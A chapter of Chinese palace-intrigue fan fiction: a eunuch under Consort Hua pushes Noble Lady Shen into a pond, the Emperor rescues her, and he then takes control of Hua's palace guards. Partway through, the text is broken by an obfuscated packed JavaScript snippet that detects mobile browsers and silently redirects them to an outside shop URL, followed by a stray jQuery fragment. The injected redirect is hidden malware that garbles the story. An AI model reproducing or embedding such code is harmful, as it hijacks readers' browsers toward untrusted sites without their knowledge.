皇帝的手串快了两分,眉间又紧了两分。
另一边周宁海狼狈的跑回翊坤宫,直奔正殿而去。
“娘娘。”
华妃正要卸妆,闻听此惊呼,不悦皱眉。
“怎么回事,惊惊慌慌的。”
周宁海瞧着正在伺候的人,欲言又止,华妃瞧这模样挥手让人下去。
“出什么事了?”
“娘娘,沈贵人溺水被皇上救了。”
华妃猛然转过身子,“什么?”
“奴才刚……沈贵人刚落水片刻,皇上正好在御花园散步,若不是奴才机警,恐怕就被皇上抓个正着。”
周宁海说到这里也是心惊肉颤,幸好他自来听力及佳,他刚把沈贵人推下水,就听到御花园的动静,立马跛着脚快速离开藏起来,不然说不好,真要被撞个正着。
闻此华妃眉间染上一抹惊色,迈步上前,抬手就攥住周宁海的衣领,声音压得极低。
“你办的事?怎么会被皇上撞见!”
“娘娘饶命!奴才也未曾料到,皇上竟会这个时辰在御花园散步!”周宁海扑通跪地,膝盖重重砸在青砖上,额头渗着冷汗,声音发颤,“奴才下手极快,听到声便躲了,沈贵人落水不过片刻就被皇上救起,半点没瞧见奴才的踪迹,只是……那省贵人无事,一定会告诉皇上是有人推她,若是皇上细查,怕是要露出马脚。”
周宁海心中兀自后怕,若不是他腿脚虽跛却反应极快,转瞬藏进假山石后,此刻早已被抓个正着,到时候不光他没命,整个翊坤宫乃至年家,都跟着要糟。
华妃松开手来回踱步,凤眸眯着,心绪飞速翻转。沈眉庄近来圣眷正浓,又一心学着打理六宫事务,本就是她的眼中钉,她才动了除去的心思,本想借着夜深无人又僻静,制造失足落水的假象,神不知鬼不觉,偏偏撞在了皇上手里。
想到这华妃微眯着眼看向周宁海,“你确定皇上的人没看到你?”
周宁海跪着没瞧见华妃的神色,跪着回道:“奴才确定,无人看到奴才,除了咱们宫里的侍卫。”
他推了人便躲了起来,听到动静后立马意识到不好,便拼了命离开了御花园。
华妃听到这里微微放下心来,“慌什么!不过是一场意外,有什么可查的,本宫今日调|教沈贵人有些乏累,而你在小厨房,盯着给本宫熬的东阿阿胶桂圆羹,记住了吗?”
周宁海一愣,反应过来这是要保下他,心中一喜。
“是,奴才记住了。”
华妃沉下心来,“来人。”
守在殿外的小宫女急忙进来,“颂芝呢?”
“回娘娘,颂芝姑姑还在小库房,给采月拿墨。”
华妃眼睛又眯了起来,周宁海心中也咯噔一下。
“还在小库房,没出来。”
“回娘娘,是的。”
闻此,华妃和周宁海同时松了口气。
“让颂芝快点,把宫里的灯也灭了,本宫要歇下了。”
“颂芝姑姑,娘娘要歇下了,正唤您呢。”
颂芝有些奇怪,娘娘不是让她拖住采月吗?不过既然是娘娘的吩咐,她便也未多想,不在墨迹直接走到一处将墨取出。
“这便是娘娘赏的墨,你拿回去吧。”
采月没有察觉到什么了,收好行礼谢赏,“是谢华妃娘娘赏。”
已经太晚了采月拿着墨,快步走着,她有些担心小主,只刚走到一半,便遇到了带人前来查探的夏刈。
从夏刈那知道自家小主落水后,采月惊得手中的盒子差点掉了,忙将自己知道的全盘托出。
夏刈打量周围来回巡逻的侍卫,眯眼瞧着翊坤宫。
存菊堂因为皇帝还有众人都在,所以沈眉庄只匆匆换了衣服,用热水净了下面,擦了下头发就被扶着出来了。
白藏瞧着惨白的面容,这是真的吓坏了。
“快把你们小主扶到床上。”
沈眉庄刚躺好,太医这个时候匆匆而来,跟着太医一块来的,还有夏刈。
胤禛眸色深沉的看着夏刈。
“章弥魏瑾先给沈贵人看诊。”
章弥魏瑾得令上前仔细诊脉,两人细辨片刻,又问了伺候沈眉庄的人几句,起身对着胤禛躬身行礼,由院正章弥回话。
“回皇上,沈贵人脉象浮紧,乃是落水受了寒凉,兼之心脉骤惊气血上涌,才会面色惨白神思不安。所幸贵人未曾呛水伤身,也无淤伤大碍,只需服下驱寒安神的汤药,卧床静养几日,疏散寒气、平复心神便可无碍,只是此刻身子虚软,需得仔细照料,切莫再受风寒。”
皇帝点头,“你们且去开药。”
“嗻。”
太医退下,房间一时静谧。
胤禛坐在殿内梨花木椅上,指尖轻轻叩着扶手,眸底寒意沉沉,目光扫过一旁垂首而立的夏刈,声音冷得像淬了冰:“查得如何了?”
夏刈上前一步,单膝跪地,身后随行的侍卫也齐齐俯身,他沉声回禀。
“回皇上,奴才沿途去查,并未发现可疑人,只有翊坤宫夜巡的侍卫们。”
白藏听到这里眉头微微皱着,没查到人,看来这人很机警,推了人就跑了。
而榻上本虚弱躺着的沈眉庄,闻言猛地攥紧了身下锦被,原本苍白的脸上泛起一丝薄怒,也顾不上身子虚软,撑着胳膊坐起身。
沈眉庄抬眼看向皇帝,声音虽还有些沙哑,带着刚直执拗。
“皇上!臣妾绝非失足落水!方才在千鲤池边,臣妾分明觉着身后有人猛推了一把,才落入水中,绝非自己踩滑!此事定是有人蓄意加害,还请皇上为臣妾做主!”
沈眉庄此时满心都是落水时的惊惧与愤恨,半点都不肯含糊此事,就这么糊涂的过去了。
随着沈眉庄的话语,空气中掺杂了一丝焦灼。
敬妃见此,目光扫过回来的采月。
“采月你可看到了什么?”
沈眉庄和白藏此刻才发现采月,白藏瞧着采月手中的盒子。
“采月你手中拿着的,是华妃娘娘赏的墨?”
沈眉庄看像采月手中的墨,脑筋清明一瞬。
“采月,你在途中可看到什么可疑的人?”
采月此时正担忧自家小主,见小主面色苍白如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774540|208938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纸,正惶恐不安。闻言愣了一瞬,仔细地想了一会儿。
“回小主奴婢跟着颂芝姑姑去取墨,到了小库房颂芝姑姑说一时忘了墨在哪里,便在小库房里耽搁了不少时间。奴婢是在半路上遇到了夏大人,这才知道小主落水了。”
白藏听到在小库房那里耽搁不少时间,眉头轻轻挑了下。
而敬妃意味深长地看着那盒墨,“在小库房耽搁不少时间,这怎么会?颂芝平时很是伶俐,华妃妹妹吩咐的事,一向做的妥帖,怎会忽然找不到墨了?”
白藏闻言瞧向敬妃,这位不愧是活到最后的人呀,瞧瞧这语言艺术,眼神一撇看向平替四。
只见皇帝捻着十八子手串,面无表情的垂着眸子,“不中用了。”
白藏心中一惊,这是说采月还是说沈眉庄,亦或是华妃?
敬妃眉梢微动,不经意道:“说起来怎么是皇上救了沈贵人,巡夜的侍卫呢。”
果然敬妃这人深不可测,白藏抿着唇要不要添一把火,想了想还是算了,不想惹这一身腥。
不过这会儿,沈眉庄终于动了脑子。
“是了,千鲤池离翊坤宫这般近,这般大的动静,倒是没瞧见那些侍卫过来瞧瞧情况,难不成是因为华妃娘娘对下太过宽和,让他们失了本分。”
这话终于让皇帝抬起了眸子,胤禛目光沉沉落在沈眉庄脸上,那双眼眸深不见底,藏着帝王的权衡与思量,既没有应下她的话,也没有出言驳斥,殿内一时静得落针可闻。
敬妃垂着眼眸,指尖轻轻摩挲着帕子,不再多言,方才那句提点已然点到为止,余下的,自有圣意决断,她从不多做僭越之事。
白藏站在一旁,瞧了眼沈眉庄,怎么忽然开窍了,难道是因为甄嬛这个大女主,没在身边的原因?
而沈眉庄虽心头仍有愤懑,却也在说出那句话后,稳住了心神,抬眸坦然迎上皇帝的目光,没有半分闪躲,很是坦荡。
千鲤池本就毗邻翊坤宫,不过百步之遥,落水之声,呼救之声定然能传至翊坤宫值守处,可事发至今,翊坤宫巡夜侍卫竟无一人赶来查看。这般失职懈怠,绝非一句“失了本分”便可搪塞,即便没有加害的实证,这值守不力的罪名,已是板上钉钉。
胤禛缓缓收回目光,指尖轻叩扶手,片刻后,清冷威严的声音响起。
“后宫侍卫值守,本就是为护各宫安危,千鲤池紧邻翊坤宫,出了这般大事,翊坤宫值守侍卫竟无一人闻声而动,玩忽职守,漠视宫规,留着何用?”
话音落下便沉声下令:“苏培盛即刻传朕旨意,将翊坤宫当下所有值守侍卫,全数调离,发往行宫当差,不许再留任宫中。另从御前侍卫中,调拨一队人手,接管翊坤宫内外值守事宜,今后翊坤宫宫禁防卫,尽数归内务府侍卫处直管,不受翊坤宫随意调遣。”
这话一出,殿内众人皆是心头一震。
这哪里是简单惩处失职侍卫,分明是借机削了华妃对翊坤宫侍卫的掌控权,把翊坤宫的防卫命脉,攥回了帝王手中,既是敲打翊坤宫上下,也是暗中防备华妃。
苏培盛连忙领旨,“奴才遵旨,即刻去办。”